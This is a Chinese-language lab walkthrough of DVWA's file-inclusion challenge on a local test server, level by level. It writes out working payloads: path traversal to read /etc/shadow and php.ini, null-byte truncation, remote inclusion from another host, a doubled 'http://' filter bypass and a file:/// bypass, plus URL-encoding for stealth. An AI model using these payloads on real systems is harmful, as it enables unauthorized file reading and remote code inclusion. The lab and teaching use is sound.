文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。
分类:
(1)本地文件包含
(2)远程文件包含:因为开启了PHP配置中的allow_url_fopen选项,服务器允许包含一个远程文件。
一、low
看下服务器端核心代码:page为做任何过滤。
图中 file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。
点击file1.php。
1、本地文件包含
构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shaow ,其中/etc/shaow为linux的系统路径。
报错。故服务器系统不是Linux。且文件的绝对路径为D:\PhPstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\index.php
构造url(绝对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini,成功读取了服务器的php.ini文件。
或者构造url(相对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini
“..\”代表上一层目录,“.\”代表下一层目录。
若page参数要求为php后缀或者其他,在php版本小于5.3.4,时,可以用%00截断。如: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini%00csg.php 。
1、远程文件包含
当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。在远程服务器上上传一个phpinfo.txt文件。由于本人租不起服务器,故将其放在自己电脑上。
构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop/phpinfo.txt
为了增加隐蔽性,可以百度一个在线编码工具,对url进行编码:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C%3A%5CUsers%5CASUS%5CDesktop%2Fphpinfo.txt
同样可成功执行。
二、medium
看下服务器端核心代码:str_replace()函数对“http://”、“https://”、“../”、“..\”都进行了过滤删除。
但str_replace()可以用双写绕过。且规则里绕过“../”、“..\”,则用绝对路径的方式包含文件不受此规则限制。(本文由于phpinfo.txt文件在本地,无http://或https://,故为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop\phpinfo.txt)
若将phpinfo.txt上传到服务器(比如192.168.125.12),则构造下面的链接即可:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hhttp://ttp://192.168.125.12/phpinfo.txt
三、high
看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。
file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。
故利用file协议,构造url:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini
读取服务器配置文件成功。
四、impossible
看下核心源码:这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。
版权归原作者 菜爽哥 所有, 如有侵权,请联系我们删除。